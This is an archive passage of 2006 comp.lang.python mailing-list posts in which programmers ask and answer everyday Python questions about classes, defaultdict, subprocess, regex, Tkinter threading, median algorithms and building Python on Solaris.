--Pamela Anderson From bj_666 at gmx.net Mon Oct 23 06:15:25 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Mon, 23 Oct 2006 12:15:25 +0200 Subject: comparing Unicode and string References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com> <1161281095.174018.223790@f16g2000cwb.googlegroups.com> <1161595714.342067.51350@e3g2000cwe.googlegroups.com> Message-ID: In <1161595714.342067.51350 at e3g2000cwe.googlegroups.com>, luc.saffre at gmail.com wrote: > I didn't mean that the *assignment* should raise exception. I mean that > any string constant that cannot be decoded using > sys.getdefaultencoding() should be considered a kind of syntax error. Why? Python strings are *byte strings* and bytes have values in the range 0..255. Why would you restrict them to ASCII only? Ciao, Marc 'BlackJack' Rintsch From hxianping at gmail.com Fri Oct 27 23:05:33 2006 From: hxianping at gmail.com (steve) Date: 27 Oct 2006 20:05:33 -0700 Subject: How the event list be sent to EventManager? In-Reply-To: References: <1161844141.057735.252310@e3g2000cwe.googlegroups.com> <1161960779.274517.116730@i3g2000cwc.googlegroups.com> Message-ID: <1162004733.700695.6880@h48g2000cwc.googlegroups.com> Thank you,Fredrik,I see. Fredrik Lundh wrote: > steve wrote: > > > Can an argument to reference an object's attribute?? > > sorry, cannot parse that sentence. > > the arguments to a method are objects, and objects have attributes. why > do you find this surprising? > > From horpner at yahoo.com Fri Oct 6 16:30:20 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 6 Oct 2006 22:30:20 +0200 Subject: n-body problem at shootout.alioth.debian.org References: Message-ID: On 2006-10-06, Peter Maas wrote: > I have noticed that in the language shootout at > shootout.alioth.debian.org the Python program for the n-body > problem is about 50% slower than the Perl program. This is an > unusual big difference. I tried to make the Python program > faster but without success. Has anybody an explanation for the > difference? It's pure math so I expected Perl and Python to > have about the same speed. The Perl program is obfuscated to speed it up; it uses an array of planet property arrays instead of objects. Of course, perhaps that's the right way to do it in Perl. A python solution that indexed lists instead of looking up attributes of objects might be faster. -- Neil Cerutti We're not afraid of challenges. It's like we always say: If you want to go out in the rain, be prepared to get burned. --Brazillian soccer player From chtaylo3 at gmail.com Mon Oct 23 14:56:44 2006 From: chtaylo3 at gmail.com (Christopher Taylor) Date: Mon, 23 Oct 2006 14:56:44 -0400 Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64 In-Reply-To: <45386B4C.4020001@v.loewis.de> References: <45386B4C.4020001@v.loewis.de> Message-ID: <2590773a0610231156x4558e06bvd4155aa21fd31bb6@mail.gmail.com> PYTHONPATH was the problem. I had /usr/lib64/python2.3 included and that's why it was breaking. I took it out and it works fine now. Unfortunately, it still puts the lib files in /usr/lib instead of /usr/lib64. I'm assuming all I need to do is set libdir accordingly and the files will get put in /usr/lib64. How do I then build the library files for 32bits? Respectfully, Christopher Taylor From Setash at gmail.com Wed Oct 18 15:42:22 2006 From: Setash at gmail.com (Setash) Date: 18 Oct 2006 12:42:22 -0700 Subject: Classes and Functions - General Questions Message-ID: <1161200542.603408.94630@k70g2000cwa.googlegroups.com> I've got a tiny bit of coding background, but its not the most extensive. That said, I'm trying to wrap my head around python and have a couple questions with classes and functions. Two notable questions: 1) Classes. How do you extend classes? I know its as easy as: class classname(a) do stuff But where does the parent class need to lie? In the same file? Can it lie in another .py file in the root directory? Can it simply be accessed via an import statement or just plain jane? To clarify, as it may be worded poorly: Can my directory structure look like .. /class1.py /class2.py And have class2 inherit class1 without any import statements, or need it be imported first? Or need class1 and class2 be both declared in the same .py file if there is inheritance? I think thats a bit more clear :) 2) Function overloading - is it possible? Can I have the following code, or something which acts the same in python?: def function(a, b) do things def function(a, b, c) do things only if I get a third argument Any thoughts / comments / etc? Just trying to get a solid foundation of python before going any further. Thanks! From oshecho at gmail.com Mon Oct 23 13:21:28 2006 From: oshecho at gmail.com (Echo) Date: Mon, 23 Oct 2006 13:21:28 -0400 Subject: Python and CMS In-Reply-To: <453bd8a4$0$16884$426a74cc@news.free.fr> References: <453bd8a4$0$16884$426a74cc@news.free.fr> Message-ID: <910885da0610231021h3fce5beag4073fc5e215d4d44@mail.gmail.com> Duncan Booth wrote: > Just because something like Plone can run as a web server doesn't mean that > you expose that web server to the outside world, nor do you have to run it > as a webserver at all. Normally you run Plone behind another web server > such as Apache. > > You can get Plone on shared hosting from various places. I use webfaction > (www.webfaction.com). To be able to run Plone on webfaction, I checked them out a few days ago, you have to get the plan 'shared 4', which is a lot more expensive than places that offer regular web hosting with pythong suport (like dreamhost.com). Bruno Desthuilliers wrote: > Pylons (www.pylonshq.com). It's a rail-like framework based on Paste. What I've seen so far, I like. I think I will use Pylons. Thanks. > > ps. I know that this is a big and complicated project. > > Really ? Why so ? > > Writing a configurable, extensible, general purpose can be a "big and > complicated project". But writing a "taylor-made", specific one is not > that difficult. Good point. -- "Now that I am a Christian I do not have moods in which the whole thing looks very improbable: but when I was an atheist I had moods in which Christianity looked terribly probable." -C. S. Lewis -Echo From Matthew.Warren at Digica.com Thu Oct 5 09:28:46 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Thu, 5 Oct 2006 14:28:46 +0100 Subject: dictionary of list from a file In-Reply-To: Message-ID: > -----Original Message----- > From: > python-list-bounces+matthew.warren=digica.com at python.org > [mailto:python-list-bounces+matthew.warren=digica.com at python.o > rg] On Behalf Of Giovanni Bajo > Sent: 04 October 2006 15:17 > To: python-list at python.org > Subject: Re: dictionary of list from a file > > andrea.spitaleri at gmail.com wrote: > > > while(){ > > @info=split(/ +/,$_); > > push (@{$tmp{$info[0]}},$info[1]); > > } > > > > and then > > foreach $key (keys %tmp){ > > print "$key -> @{$tmp{$key}}\n"; > > } > > Python 2.5 introduced a dictionary type with automatic > creation of values, > ala Perl: > > =============================== > from collections import defaultdict > > d = defaultdict(list) > for line in fl: > k, v = line.strip().split() > d[k].append(v) > > for k,v in d.items(): > print k, v > =============================== > > Notice that Python is always more strongly typed, so you have > to specify a > factory function. Yay! Python2.5 fixed my approach to this, I tried from collections import defaultdict f=file('c:\\test.txt') lines=f.readlines() f.close() d=defaultdict(list) [ d[l.split()[0]].append(l.split()[1]) for l in lines ] But, if I try your (to see if I've actually got it right) For k,v in d.items(): print k,v I get AttributeError: 'list' object has no attribute 'items' This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From johnjsal at NOSPAMgmail.com Thu Oct 26 14:12:03 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 26 Oct 2006 18:12:03 GMT Subject: which one of these is better? In-Reply-To: References: Message-ID: John Salerno wrote: > def create_sql_script(self): > try: > f = open('labtables.sql') > sql_script = f.read() > except IOError: > wx.MessageBox('Could not locate the file "labtables.sql"', > 'File Not Found') > finally: > f.close() Hmm, looks like this doesn't work anyway if open() doesn't work, because then f.close() raises an UnboundLocalError for obvious reasons. From gehn13 at gmail.com Thu Oct 5 12:19:25 2006 From: gehn13 at gmail.com (Justin) Date: 5 Oct 2006 09:19:25 -0700 Subject: Asychronous execution *with* return codes? In-Reply-To: <1160059393.325634.167640@e3g2000cwe.googlegroups.com> References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com> <1160053403.362330.136200@k70g2000cwa.googlegroups.com> <1160059393.325634.167640@e3g2000cwe.googlegroups.com> Message-ID: <1160065159.562889.184860@i3g2000cwc.googlegroups.com> If you're on a POSIX system, you could use the usual fork/exec/wait: import os for lstArgs in pileOflstArgs: pid = os.fork() if not pid: os.execv( app, lstArgs ) for i in range(len(pileOflstArgs)): pid, status = os.wait() Of couse, os.wait() will block until a child exits. Look at the docs for the status code it returns, though, as it's not just the return value of the process. On Oct 5, 7:43 am, "utabintarbo" wrote: > MonkeeSage wrote: > > utabintarbo wrote: > > > pid = subprocess.Popen([app] + lstArgs).pid > > > Check out the poll() method and the returncode attribute: > >http://docs.python.org/lib/node533.htmlThanks for the reply. > > If I understand your meaning, I should do something like this (given I > wish to run an app against several arguments [my use case]): > > for lstArgs in pileOflstArgs: > uniqueProcessID = subprocess.Popen([app] + lstArgs) > pid = uniqueProcessID.pid > retcode = uniqueProcessID.poll() > # increment uniqueProcessID > .... > > If so, how do I handle the poll() on long-running processes? Run a > bunch and then start a check loop? Am I asking too many questions? From ewijaya at i2r.a-star.edu.sg Fri Oct 27 03:28:59 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Fri, 27 Oct 2006 15:28:59 +0800 Subject: Matching Pure Numeric and '' with Python re Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615E1@mailbe01.teak.local.net> Hi, Given this list: list = ['0123', '1A34' , '333-' , '' ] I want to match only this element '0123' (pure numeric) and '' (empty element). Why this construct doesn't work? p = re.compile("''+|[0-9]+") m = p.match(word) if m: print word, Namely it doesn't print 0123 and ''. What's wrong with my regex? -- Edward WIJAYA SINGAPORE ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From grahn+nntp at snipabacken.dyndns.org Wed Oct 4 10:47:40 2006 From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn) Date: 4 Oct 2006 14:47:40 GMT Subject: A Universe Set References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> Message-ID: On Tue, 03 Oct 2006 23:13:08 -0500, Robert Kern wrote: > jordan.nick at gmail.com wrote: >> Has the addition of a Universe Set object ever been suggested. Like U >> = set(0), so that any object was a member of U? > > In [61]: class UniverseSet(object): > ....: def __contains__(self, x): > ....: return True > ....: Yes. But note that being able to write it yourself is one thing, having it in the Standard Library and known to anyone is another. I have been craving for some similar things for a while, and I'm still not sure if they are good ideas, or brain damage caused by studying functional programming at Uni. For example: - the wildcard object, which compares equal to everything else - infinite xrange()s - the black hole function 'def f(*args): pass' - the identity function 'def f(x): return x' /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From http Thu Oct 12 10:10:01 2006 From: http (Paul Rubin) Date: 12 Oct 2006 07:10:01 -0700 Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <1160652722.908731.213650@i42g2000cwa.googlegroups.com> Message-ID: <7xvempiq12.fsf@ruckus.brouhaha.com> "Paul McGuire" writes: > My original question was in response to your post, that sort() wasn't > required but only a temp variable. I am very interested in seeing your > solution that does not require the data to be sorted. (This is not just an > academic exercise - given a large historical data set, sorting the data is > one of the costliest parts of computing the median, and I would greatly > appreciate seeing an alternative algorithm.) There are well known algorithms for finding the median in expected O(n) time, the most straightforward of which is a modified quicksort. You do the traditional quicksort pivot step, figure out which partition the median is in, and recurse on just that partition instead of on both of them. Expected running time is n + n/2 + n/4 + ... which is approx 2n. Tarjan discovered a guaranteed O(n) algorithm in the 1970's(?) whose operation is much different and quite complex. But all of these need more than one temp var. See an algorithms book like CLRS or Knuth for more info. From mike$#at^&nospam!%trauschus Thu Oct 26 19:12:44 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Thu, 26 Oct 2006 19:12:44 -0400 Subject: Python segmentation fault? In-Reply-To: <1161656124.660257.98340@i3g2000cwc.googlegroups.com> References: <1161656124.660257.98340@i3g2000cwc.googlegroups.com> Message-ID: Klaas wrote: > Michael B. Trausch wrote: >> Is there a way to debug scripts that cause segmentation faults? I can >> do a backtrace in gdb on Python, but that doesn't really help me all >> that much since, well, it has nothing to do with my script... :-P > > Yes. If you think it is a python interpreter bug, create a > self-contained script which reproduces the issue, and file a python bug > report. > > I'd be interested to see the stack trace--I recently uncovered a > segfault bug in python2.5 and I might be able to tell you if it is the > same one. > I finally found out what the problem was -- I was using something that was in the wx.* set of classes and functions, and it was the item segfaulting. I was apparently making an assumption or doing something wrong, though I didn't have this project in Subversion at the time so I can't say exactly which changes fixed it. I have it in Subversion now, though, so that in the future I can be sure to better find out what is going on by having all of the information handy. Thanks for the help! -- Mike From gagsl-py at yahoo.com.ar Wed Oct 4 12:21:21 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 04 Oct 2006 13:21:21 -0300 Subject: can't open chm files all of a sudden In-Reply-To: <45233a81$0$30748$c3e8da3@news.astraweb.com> References: <45233927$0$1761$c3e8da3@news.astraweb.com> <45233a81$0$30748$c3e8da3@news.astraweb.com> Message-ID: <7.0.1.0.0.20061004132024.03f02678@yahoo.com.ar> At Wednesday 4/10/2006 01:32, John Salerno wrote: > > I tried opening my Python chm docs just now, as well as the one for > > wxPython, and both are giving me an error dialog when I double-click > > them and I can't open them. This happened apparently for no reason, just > > today. I even reset but that didn't help. >AppName: hh.exe AppVer: 5.2.3790.2453 ModName: itss.dll >ModVer: 5.2.3790.2453 Offset: 00006bec Try this: Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From maric at aristote.info Thu Oct 5 07:39:23 2006 From: maric at aristote.info (Maric Michaud) Date: Thu, 5 Oct 2006 13:39:23 +0200 Subject: Why do this? In-Reply-To: References: Message-ID: <200610051339.24741.maric@aristote.info> Le jeudi 05 octobre 2006 13:16, Ivan Voras a ?crit?: > print "'"+var1+"','"+var2'"+","+var3 > > the above is much more readable as > > print "'%s', '%s', %s" % (var1, var2, var3) It feels not IMO, one proof I see is that you forgot the spaces after periods in your first example, and it's even not easy to figure it out... In fact this is a typical case I replace the first by the second, when the string comes a little complex. -- _____________ Maric Michaud _____________ Aristote - www.aristote.info 3 place des tapis 69004 Lyon Tel: +33 426 880 097 From hanumizzle at gmail.com Tue Oct 17 03:59:27 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 17 Oct 2006 03:59:27 -0400 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocksin python In-Reply-To: <01b701c6f1b3$07eab4a0$03000080@hendrik> References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <7xhcy72xm1.fsf@ruckus.brouhaha.com> <1160811657.449049.78940@m73g2000cwd.googlegroups.com> <1160843099.978973.235560@k70g2000cwa.googlegroups.com> <45335619$0$12918$426a34cc@news.free.fr> <1160992539.451117.143310@i42g2000cwa.googlegroups.com> <4533cb98$0$15235$426a74cc@news.free.fr> <01b701c6f1b3$07eab4a0$03000080@hendrik> Message-ID: <463ff4860610170059q281beba4pd6192a7a38dc65b7@mail.gmail.com> On 10/17/06, Hendrik van Rooyen wrote: > "Bruno Desthuilliers" wrote: > > Kay Schluehr wrote: > > > Bruno Desthuilliers wrote: > > > > > >> Just for the record : Ruby's code-blocks (closures, really) come from > > >> Smalltalk, which is still the OneTrueObjectLanguage(tm). > > > > > > IsTheOneTrueObjectLanguage(tm)ReallyCamelCased? > > > > > ThatsAGoodQuestion. > > > > > DoYouMeanIsTheIdentifierTheOneTrueObjectLanguage(tm)CamelCasedOrIsTheObjectObjec > tBoundToIdentifierTheOneTrueObjectLanguage(tm)CamelCasedOrYetSomethingElse? > > IAmGladToSeeThisSterlingAttemptAtMinimisingTheEncodingSpaceAsTheSpaceCharacterNe > verImpartedAnyInformationAnywayHendrik BurnMeIfThisIsntTurningIntoCeeTwoWiki -- http://www.c2.com/cgi/wiki?TheerasakPhotha From http Wed Oct 11 06:02:38 2006 From: http (Paul Rubin) Date: 11 Oct 2006 03:02:38 -0700 Subject: How to write Smart Python programs? References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> <452cae13$0$24783$426a74cc@news.free.fr> <452cbe11$1@news.vo.lu> Message-ID: <7xodsjrwzl.fsf@ruckus.brouhaha.com> Antoine De Groote writes: > To me this seems contradictory. Why would one not want to do something > that is included in the documentation? Or am I just confused? Does > anybody have an idea how to put me in the right direction? The library reference states the technical procedures for doing various things. That is, it explains how the procedures work. It doesn't say when to use one procedure or another. It's a technical reference, not a style guide. > And then, by (2) I believe that what is meant is that once some client > code uses public fields one can't make them private anymore because > then the clients are broke. That's clear to me. But I don't understand > (3). I don't know exactly what they mean. How would one want to change > their mind? In what way? I've been thinking about it some time now, > but I'm still kept in the dark. I would appreciate any explanation. I think it means the example you cited from the library doc is inadvisable in practice, and should only be used as a template for more complicated getters and setters. E.g. if you want the client to be able to set foo.x to an arbitrary value, don't use a setter, just say foo.x = 237 and the attribute value gets set directly. If you want to limit the value of foo.x to the range 0-100, and make setting to outside the range clip to that range or raise an exception or something, THEN use a setter. In Python, you can omit the setter at first (so there's no restriction), then later decide you want to add the restriction, so you add the setter. In Java, if you omit the setter at first and then later want to add it, you have to change all the client calls. From diesch at spamfence.net Tue Oct 17 10:13:59 2006 From: diesch at spamfence.net (Florian Diesch) Date: Tue, 17 Oct 2006 16:13:59 +0200 Subject: People's names (was Re: sqlite3 error) References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> Message-ID: <20061017141359.2044.0.NOFFLE@dieschf.news.arcor.de> "Hendrik van Rooyen" wrote: > "Lawrence D'Oliveiro" wrote: > > >> In message , Hendrik van >> Rooyen wrote: >> >> > "Lawrence D'Oliveiro" wrote: >> > >> > 8<-------------------------------------------------------- >> > >> >> I wonder if we need another "middle" field for holding the "bin/binte" >> >> part (could also hold, e.g. "Van" for those names that use this). >> > >> > NOOOOO! - I think of my surname as "van Rooyen" - its only a string with a >> > space in it - and its peculiar in that the first letter is not >> > capitalised.... >> > >> > And I am sure that the people called "von Kardorff" would not agree >> > either... >> >> So do the Dutch phone books have a lot of entries under V, then? >> >> It just seems less efficient to me, that's all. > > Don't know about what happens in Holland - my ancestors came over here to South > Africa a long time ago - > a mixed up kid I am - Dutch and French from the time of the revocation of the > edict of Nantes... > And yes, here the phone books are sorted that way - the "van Rensburg"s precede > the "van Rooyen"s. And what is worse, there are a lot of "van der"s too - two > spaces in the string like "van der Merwe" who are preceded by "van der Bank" - > "van" basically means "from" - like the German "von" - but in Germany its an > appellation applied to the nobility - In Germany "von" is just a part of the name since 1919 when the nobility was abolished by law. In the local phonebook it seems it's up tgo the people how they want to be sorted. I see e.g. both "von F?rstenberg, Ulrich" and "F?rstenberg, Constantin von". > and in my name it makes no sense as "Rooyen" is not a place - its a > strange archaic derivative of the colour red - "rooij' in Dutch, spelt In Germany names like that were created when a commoner was ennobled. There is a "von Roth" in the lokal phonebook ("roth" is an archaic spelling of "rot" which means "red") Florian -- From mail at microcorp.co.za Thu Oct 5 05:57:28 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Thu, 5 Oct 2006 11:57:28 +0200 Subject: Python/Tkinter crash. References: Message-ID: <008601c6e865$1104b560$03000080@hendrik> "Fredrik Lundh" wrote: > Eric Brunel wrote: > > > AFAIK, Tkinter is not thread safe. Using some kind of lock to serialize > > the calls from different threads may seem to work (I never tested it > > actually), but the safest way I found to use threads with Tkinter was to > > call it only from the thread where the main loop executes. > > the Tkinter binding contains some code that attempts to deal with re- > entrant calls, but I don't know/remember to what extent it's actually > supposed to work (in other words, if the observed problems are bugs or > just limitations). > > (maybe Martin's memory is better?) > > anyway, I usually play it safe and make sure to use a single thread to > deal with the UI. > > I must be dense - After I have called mainloop, if I have not started another thread to respond to events that are not generated by the user on the screen (in this case values of variables to display from the field generated by different processes - there is other hardware out there), how do I get control back to do the necessary updating? - I suppose I can use the call back after some time thingy to implement a polling loop - possibly as Russel Owen suggested - by polling a queue - but queues are for between threads - and I have seen here somewhere that sockets also want to be the main thread - so that leaves a pipe - and I have had bad experiences with pipes that are unblocked, and if I don't unblock it, then the gui will grind to a halt....so I need a thread for the pipe between processes, and a queue between threads, and a time out based polling loop to read the queue, it seems - is it even safe to change a main loop variable from another thread? , or should I do it all via commands through a queue, implementing a whole goddam serial protocol just between threads? and If I don't have another thread to do the timing for the animation bits, then I must base that on a timed callback too, and somehow keep state between callbacks... now is it ok to call widget command methods from a callback in the same thread, or do I have to use invoke? My head is beginning to hurt... - what was a nice simple threaded implementation is turning into a spaghetti monster of timed callbacks - you thought gotos was bad? - you aint seen nothing yet... - Hendrik From hanumizzle at gmail.com Fri Oct 13 15:48:52 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 15:48:52 -0400 Subject: wing ide vs. komodo? In-Reply-To: References: <2nRXg.108$1n3.2866@news.tufts.edu> Message-ID: <463ff4860610131248p3fb8a4cfw99edeef4a13ef2de@mail.gmail.com> On 10/13/06, hg wrote: > I'm really interested: my *small* company is ready to spend the ~300$ in > the process, but Komodo looks _very_ sparse. > > How do you go about it? ... I have resources to look at it for one or > two days. It's entirely possible you could use a free IDE as well. (Just throwing it out there.) -- Theerasak From bignose+hates-spam at benfinney.id.au Mon Oct 9 19:27:32 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 10 Oct 2006 09:27:32 +1000 Subject: A curses-game I need help with. References: <1160302875.055414.148350@m7g2000cwm.googlegroups.com> <1160412739.247683.218620@k70g2000cwa.googlegroups.com> Message-ID: <87u02d9ijf.fsf@benfinney.id.au> "Gasten" writes: > I would like to know what I did wrong. Too?many spellingmisstakes? > Shitty code? No one understands? No one got the answer? Should I > wait a little longer? Thank you. For my part, I skipped over your post because the code was far too long. If you have a problem you'd like a lot of people to look at, the most effective way is to make a short, complete example that demonstrates exactly the problem you're trying to understand. This approach has the bonus benefit that, in isolating the problem for this purpose, you often gain a better understanding of it yourself before posting it :-) -- \ "Earth gets its price for what Earth gives us." -- James | `\ Russell Lowell | _o__) | Ben Finney From no-spam at no-spam-no-spam.com Thu Oct 26 15:30:04 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Thu, 26 Oct 2006 21:30:04 +0200 Subject: conditional computation Message-ID: I want to use a computation cache scheme like o = CACHECOMPUTE complex-key-expr expensive-calc-expr frequently and elegantly without writing complex-key-expr or expensive-calc-expr twice. So its ugly: _=complex-key-expr; o=cache.get(_) or cache.setdefault(_,expensive-calc-expr) Any ideas? -robert From python at hope.cz Sat Oct 21 03:20:46 2006 From: python at hope.cz (Lad) Date: 21 Oct 2006 00:20:46 -0700 Subject: FOR statement In-Reply-To: <1161355685.049304.314360@m7g2000cwm.googlegroups.com> References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com> <1161355685.049304.314360@m7g2000cwm.googlegroups.com> Message-ID: <1161415246.276053.213680@m7g2000cwm.googlegroups.com> wittempj at hotmail.com wrote: > Lad wrote: > > If I have a list > > > > Mylist=[1,2,3,4,5] > > I can print it > > > > for i in Mylist: > > print i > > > > and results is > > 1 > > 2 > > 3 > > 4 > > 5 > > > > > > But how can I print it in a reverse order so that I get > > 5 > > 4 > > 3 > > 2 > > 1 > > > > > > > > ? > > > > > > Thanks. > > L > > reverse the list in place with reverse method > > l.reverse() > for i in l: > print i > > and the reverse it back if needed Thank you ALL for help. L. From bearophileHUGS at lycos.com Wed Oct 25 16:49:39 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 25 Oct 2006 13:49:39 -0700 Subject: Is there a python development site for putting up python libraries that people might be interest in working on? In-Reply-To: References: Message-ID: <1161809379.161728.120560@m73g2000cwd.googlegroups.com> Kenneth McDonald: > * Construction of re's is object oriented, and does not require any > knowledge of re syntax. I have partially done something similar, so I am interested. Does rex outputs normal REs? Or does it wraps them in some way? A normal RE output has some advantages, even if you can't have some functionalities. > * I'm not entirely sure the API is ideal. Some discussion is needed on this. The API is probably the most important thing in this kind of code. It requires care, good initial design, and a lot of practical usage by some people. > * Everything is in a single file. This should be split up. Sometimes a single file is good too, because it makes the management simpler, you don't need to keep directories, etc. So you can keep it that way, or maybe you can (automatically) keep two versions, one single file and one splitted in more files. Many constants: maybe there are ways to design the code to use less constants, like making it accept strings as arguments instead of constants, like rex.fun("foo") instead of rex.fun(rex.FOO), like Tkinter does. > I would like to avoid putting this up on sourceforge as I think it would > do much better at a site aimed specifically at Python development. Cheeseshop? Bye, bearophile From Eric_Dexter at msn.com Mon Oct 16 00:46:00 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 15 Oct 2006 21:46:00 -0700 Subject: wx.grid question (trying to use code from Grid_Example.py) Message-ID: <1160973960.113552.200490@i3g2000cwc.googlegroups.com> I am having trouble trying to reuse the code that was provided in the wxdemo package of wxpython. The program I am trying to use parts of is Grid_MegaExample.py thier code is class MegaTable(Grid.PyGridTableBase): """ A custom wx.Grid Table using user supplied data """ def __init__(self, data, colnames, plugins): """data is a list of the form [(rowname, dictionary), dictionary.get(colname, None) returns the data for column colname """ # The base class must be initialized *first* Grid.PyGridTableBase.__init__(self) self.data = data self.colnames = colnames self.plugins = plugins or {} # XXX # we need to store the row length and column length to # see if the table has changed size self._rows = self.GetNumberRows() self._cols = self.GetNumberCols() My code is import wx.grid import os import sys import string import Grid_MegaExample def create_grid(): win = Grid_MegaExample.MegaTable(self, data, colnames, pugins) win.Show(True) def create_colums(line): "creates colums based on what is passed to subroutine" for word in line: colnames = word def create_sco_grid(from_file): "reads .sco file and inputs it into a wx.grid" data = [] infile = open(from_file, 'r') testline = 'false' for line in infile: if """;""" in line: create_colums(line) testline = 'true' if testline == 'true': for word in line: data.append(word) create_grid() create_sco_grid("""test.sco""") http://www.dexrow.com From fredrik at pythonware.com Sun Oct 22 04:57:30 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 22 Oct 2006 10:57:30 +0200 Subject: A Comparison Of Dynamic and Static Languiges In-Reply-To: References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com> <1161474350.522418.13440@i42g2000cwa.googlegroups.com> Message-ID: Steve Holden wrote: > Since network 127 is reserved in its entirety for loopback (local > process) use, it would seem that any DNS name that maps to an address in > that space with the single exception of "localhost" should be treated as > a spammer. countries.nerd.dk is a DNS blackhole system that can be used to filter on originating country. like most other DNSBL systems, it uses loopback addresses to return status codes (in this case, country codes). From miles.chris at gmail.com Sun Oct 15 10:13:14 2006 From: miles.chris at gmail.com (Chris Miles) Date: Sun, 15 Oct 2006 15:13:14 +0100 Subject: Cannot force configure/setup.py to pick up location of readline (SFWrline) on Solaris 10 In-Reply-To: References: Message-ID: <453241FA.4030103@gmail.com> Thanks to those who offered suggestions for this. It appears that building Python 2.4.3 on Solaris 10 with readline (SFWrline package) support is a little long-winded but possible, using the following steps: $ ./configure --prefix=/opt/python-2.4.3 --enable-shared $ vi Modules/Setup.local --- add one line: --- readline readline.c -I/opt/sfw/include -L/opt/sfw/lib -lreadline -ltermcap --------------------- $ make ### will fail with ld error: ### Undefined first referenced symbol in file initreadline ./libpython2.4.so ld: fatal: Symbol referencing errors. No output written to python collect2: ld returned 1 exit status *** Error code 1 make: Fatal error: Command failed for target `python' ### however, just running make again ends up building fine ... ### $ make $ make install # might need root access (sudo/su) I hope this process can be improved, and if I have time I'll look at why make fails half way but works fine when kicked off a second time. I'd like to get /opt/sfw/ added to the standard lib/include path for Solaris (10 at least) as this is where Sun's open-source packages get installed. Is this just a matter of raising a ticket? Cheers, Chris Chris Miles wrote: > On a standard Solaris 10 installation with Sun-supplied open-source > packages installed (like SFWrline for readline libs) I cannot seem to > force Python configure/setup.py to build with readline support. -- http://chrismiles.info/ From fulvio at tm.net.my Fri Oct 13 13:59:41 2006 From: fulvio at tm.net.my (Fulvio) Date: Sat, 14 Oct 2006 01:59:41 +0800 Subject: Best IDE? In-Reply-To: <505f13c0610130817g41d6fd03qf62c8c0338292554@mail.gmail.com> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> <463ff4860610130745y769107f2x4bfa00928ebd7c03@mail.gmail.com> <505f13c0610130817g41d6fd03qf62c8c0338292554@mail.gmail.com> Message-ID: <200610140159.41762.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Friday 13 October 2006 23:17, limodou wrote: > hope you try it. If you'll manage for macro recording, playing back and from file then I'll be yours :) F From siona at chiark.greenend.org.uk Mon Oct 23 11:02:19 2006 From: siona at chiark.greenend.org.uk (Sion Arrowsmith) Date: 23 Oct 2006 16:02:19 +0100 (BST) Subject: implementation of "in" that returns the object. References: Message-ID: Jorge Vargas wrote: >I need to check if an object is in a list AND keep a reference to the >object I have done it this way but is there a better one? > >>>> def inplusplus(value,listObj): >... for i in listObj: >... if i is value: >... return value >... return False >... try: obj = listObj[listObj.index(value)] # do something with obj except ValueError: # do whatever you're going to do if inplusplus returns False Assuming you meant "if i == value" (as others have pointed out). -- \S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/ ___ | "Frankly I have no feelings towards penguins one way or the other" \X/ | -- Arthur C. Clarke her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump From onurb at xiludom.gro Wed Oct 25 10:20:06 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 25 Oct 2006 16:20:06 +0200 Subject: To remove some lines from a file In-Reply-To: <1161782402.343992.152080@k70g2000cwa.googlegroups.com> References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com> Message-ID: <453f7296$0$9153$426a34cc@news.free.fr> umut.tabak at 